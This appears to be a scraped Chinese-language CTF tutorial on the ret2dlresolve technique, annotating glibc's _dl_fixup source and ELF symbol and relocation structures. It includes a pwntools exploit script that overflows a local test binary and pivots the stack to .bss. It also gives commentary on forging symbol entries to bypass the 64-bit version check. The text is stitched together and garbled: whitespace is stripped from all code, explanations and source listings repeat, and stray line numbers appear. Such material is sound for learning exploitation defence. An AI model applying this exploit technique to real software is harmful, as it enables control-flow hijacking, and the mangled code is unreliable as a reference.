_dl_fixup(# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,# endif
structlink_map*l,ElfW(Word)reloc_arg){constElfW(Sym)*constsymtab=(constvoid*)D_PTR(l,l_info[DT_SYMTAB]);constchar*strtab=(constvoid*)D_PTR(l,l_info[DT_STRTAB]);constPLTREL*constreloc=(constvoid*)(D_PTR(l,l_info[DT_JMPREL])+reloc_offset);// 首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
constElfW(Sym)*sym=&symtab[ELFW(R_SYM)(reloc->r_info)];// 然后通过reloc->r_info找到.dynsym中对应的条目
constElfW(Sym)*refsym=sym;void*constrel_addr=(void*)(l->l_addr+reloc->r_offset);lookup_tresult;DL_FIXUP_VALUE_TYPEvalue;/* Sanity check that we're really looking at a PLT relocation. */assert(ELFW(R_TYPE)(reloc->r_info)==ELF_MACHINE_JMP_SLOT);//这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7,即重定位标志
if(__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other),0)==0){conststructr_found_version*version=NULL;if(l->l_info[VERSYMIDX(DT_VERSYM)]!=NULL){constElfW(Half)*vernum=(constvoid*)D_PTR(l,l_info[VERSYMIDX(DT_VERSYM)]);ElfW(Half)ndx=vernum[ELFW(R_SYM)(reloc->r_info)]&0x7fff;version=&l->l_versions[ndx];if(version->hash==0)version=NULL;}intflags=DL_LOOKUP_ADD_DEPENDENCY;if(!RTLD_SINGLE_THREAD_P){THREAD_GSCOPE_SET_FLAG();flags|=DL_LOOKUP_GSCOPE_LOCK;}#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;#endif
result=_dl_lookup_symbol_x(strtab+sym->st_name,l,&sym,l->l_scope,version,ELF_RTYPE_CLASS_PLT,flags,NULL);// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
/* We are done with the global scope. */if(!RTLD_SINGLE_THREAD_P)THREAD_GSCOPE_RESET_FLAG();#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;#endif
value=DL_FIXUP_MAKE_VALUE(result,SYMBOL_ADDRESS(result,sym,false));// value为libc基址加上要解析函数的偏移地址,也即实际地址,SYMBOL_ADDRESS() 得到偏移sym,+ result 得出最终函数地址
}else{value=DL_FIXUP_MAKE_VALUE(l,SYMBOL_ADDRESS(l,sym,true));result=l;}value=elf_machine_plt_value(l,reloc,value);if(sym!=NULL&&__builtin_expect(ELFW(ST_TYPE)(sym->st_info)==STT_GNU_IFUNC,0))value=elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));/* Finally, fix up the plt itself. */if(__glibc_unlikely(GLRO(dl_bind_not)))returnvalue;returnelf_machine_fixup_plt(l,result,refsym,sym,reloc,rel_addr,value);// 最后把value写入相应的GOT表条目中
}
跟名字一样,其为保存了符号名的字符串表,其存在的意义巍是由于Dynamic Symbol Table中记录的固定长度的内容无法描述二进制文件中的任意字符串,因此再次创立了一个表.dynstr,用于存储函数名称的字符串,在.dynsym中的.st_name字段存储了偏移,最后由.dynstr首地址加上偏移找到对能够符号名称。
structlink_map{/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */ElfW(Addr)l_addr;/* Base address shared object is loaded at. */char*l_name;/* Absolute file name object was found in. */ElfW(Dyn)*l_ld;/* Dynamic section of the shared object. */structlink_map*l_next,*l_prev;/* Chain of loaded objects. */};
// _dl_runtime_resolve的结构体
typedefstruct{Elf32_Addrr_offset;/* Address */Elf32_Wordr_info;/* Relocation type and symbol index */}Elf32_Rel;
而Elf32_Sym源码如下
1
2
3
4
5
6
7
8
9
typedefstruct{Elf32_Wordst_name;/* Symbol name (string tbl index) */Elf32_Addrst_value;/* Symbol value */Elf32_Wordst_size;/* Symbol size */unsignedcharst_info;/* Symbol type and binding */unsignedcharst_other;/* Symbol visibility */Elf32_Sectionst_shndx;/* Section index */}Elf32_Sym;
importargparseimportsysfrompwnimport*parser=argparse.ArgumentParser()parser.add_argument('mode',type=int,choices=[0,1,2],nargs='?',default=0,help='0=local,1=local+gdb,2=remote')args=parser.parse_args()filename="./test_32"libc_name="./libc.so.6"arch='i386'remote_addr="localhost"remote_port="35661"context(log_level="debug",os="linux",arch=arch)ifargs.mode<2:context.terminal=["tmux","splitw","-h"]defVIO_TEXT(x,code=95):returnf"\x1b[{code}m{x}\x1b[0m"defCLEAR_TEXT(x,code=32):returnf"\x1b[{code}m{x}\x1b[0m"io=Noneifargs.mode==0:io=process(filename)print("[*] Running on local machine")elifargs.mode==1:io=process(filename)gdb.attach(io,gdbscript='''
b *0x0804916A
b *read
''')elifargs.mode==2:io=remote(remote_addr,remote_port)else:sys.exit(1)elf=ELF(filename)# libc = ELF(libc_name)se=io.sendsl=io.sendlinesa=io.sendaftersla=io.sendlineafterslt=io.sendlinethenst=io.sendthenrc=io.recvrr=io.recvregexru=io.recvuntilra=io.recvallrl=io.recvlineia=io.interactiverls=io.recvline_startswithrle=io.recvline_endswithrlc=io.recvline_containsdefuu64(data):returnu64(data.ljust(8,b"\x00"))defget_64():returnu64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))bss=elf.bss()base_addr=bss+0x800leave_ret=0x080490d6start_resolve=0x08049040read_plt=elf.plt['read']log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))payload=flat(b'a'*0x108,base_addr-4,read_plt,leave_ret,p32(0),base_addr,0x100)#leave_ret后跳转到base_addr然后开始执行readse(payload)payload=flat(read_plt,0xdeadbeaf,0,bss+0x100,0x100,)# 再一次read,se(payload)ia()
这个表就是保存了符号名的字符串表。而这个表存在的意义是由于Dynamic Symbol Table里记录的都是固定长度的内容,因此它们没办法去描述二进制文件中的任意字符串(也就是我们的函数名称),因此就需要再创立一个表(也就是.dynstr)来存储函数名称的字符串,在.dynsym中的.st_name字段存储了一个偏移,而最后.dynstr段的首地址加上这个偏移量才能找到符号的名称。而_dl_lookup函数最后就是拿着这个符号的名称(也就是函数的名称)去动态链接库里面搜索对应的函数。
typedefstruct{Elf64_Wordst_name;/* Symbol name (string tbl index) 32位*/unsignedcharst_info;/* Symbol type and binding */unsignedcharst_other;/* Symbol visibility */Elf64_Sectionst_shndx;/* Section index 16位*/Elf64_Addrst_value;/* Symbol value 64位*/Elf64_Xwordst_size;/* Symbol size 64位*/}Elf64_Sym;
并且在64位plt 中的代码 push 的是待解析符号在重定位表中的索引,而不是偏移。
Elf_Rel 结构体,增加了 r_addend
1
2
3
4
5
typedefstruct{Elf64_Addrr_offset;/* Address */Elf64_Xwordr_info;/* Relocation type and symbol index */Elf64_Sxwordr_addend;/* Addend */}Elf64_Rela;
_dl_fixup(structlink_map*l,ElfW(Word)reloc_arg)//第一个参数link_map,也就是got[1]{//获取link_map中存放DT_SYMTAB的地址constElfW(Sym)*constsymtab=(constvoid*)D_PTR(l,l_info[DT_SYMTAB]);//获取link_map中存放DT_STRTAB的地址constchar*strtab=(constvoid*)D_PTR(l,l_info[DT_STRTAB]);//reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体constPLTREL*constreloc=(constvoid*)(D_PTR(l,l_info[DT_JMPREL])+reloc_offset);//根据重定位结构体的r_info得到symtab表中对应的结构体constElfW(Sym)*sym=&symtab[ELFW(R_SYM)(reloc->r_info)];void*constrel_addr=(void*)(l->l_addr+reloc->r_offset);lookup_tresult;DL_FIXUP_VALUE_TYPEvalue;/*Sanitycheckthatwe're really looking at a PLT relocation. */assert(ELFW(R_TYPE)(reloc->r_info)==ELF_MACHINE_JMP_SLOT);//检查r_info的最低位是不是7/*Lookupthetargetsymbol.Ifthenormallookuprulesarenotuseddon't look in the global scope. */if(__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other),0)==0)//这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码{conststructr_found_version*version=NULL;//这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码if(l->l_info[VERSYMIDX(DT_VERSYM)]!=NULL){//到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM)(reloc->r_info)]&0x7fff的过程中,由于我们一般伪造的symtab位于bss段//就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段//第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。//第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。constElfW(Half)*vernum=(constvoid*)D_PTR(l,l_info[VERSYMIDX(DT_VERSYM)]);ElfW(Half)ndx=vernum[ELFW(R_SYM)(reloc->r_info)]&0x7fff;version=&l->l_versions[ndx];if(version->hash==0)version=NULL;}/*Weneedtokeepthescopearoundsodosomelocking.Thisisnotnecessaryforobjectswhichcannotbeunloadedorwhenwearenotusinganythreads(yet).*/intflags=DL_LOOKUP_ADD_DEPENDENCY;if(!RTLD_SINGLE_THREAD_P){THREAD_GSCOPE_SET_FLAG();flags|=DL_LOOKUP_GSCOPE_LOCK;}RTLD_ENABLE_FOREIGN_CALL;//在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址result=_dl_lookup_symbol_x(strtab+sym->st_name,l,&sym,l->l_scope,version,ELF_RTYPE_CLASS_PLT,flags,NULL);/*Wearedonewiththeglobalscope.*/if(!RTLD_SINGLE_THREAD_P)THREAD_GSCOPE_RESET_FLAG();RTLD_FINALIZE_FOREIGN_CALL;/*Currentlyresultcontainsthebaseloadaddress(orlinkmap)oftheobjectthatdefinessym.Nowaddinthesymboloffset.*///同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_valuevalue=DL_FIXUP_MAKE_VALUE(result,sym?(LOOKUP_VALUE_ADDRESS(result)+sym->st_value):0);}else{//这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是l->l_addr+st_value,我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr和st_value/*Wealreadyfoundthesymbol.Themodule(andthereforeitsloadaddress)isalsoknown.*/value=DL_FIXUP_MAKE_VALUE(l,l->l_addr+sym->st_value);result=l;}/*Andnowperhapstherelocationaddend.*/value=elf_machine_plt_value(l,reloc,value);if(sym!=NULL&&__builtin_expect(ELFW(ST_TYPE)(sym->st_info)==STT_GNU_IFUNC,0))value=elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));/*Finally,fixupthepltitself.*/if(__glibc_unlikely(GLRO(dl_bind_not)))returnvalue;//最后把value写入相应的GOT表条目中returnelf_machine_fixup_plt(l,result,reloc,rel_addr,value);}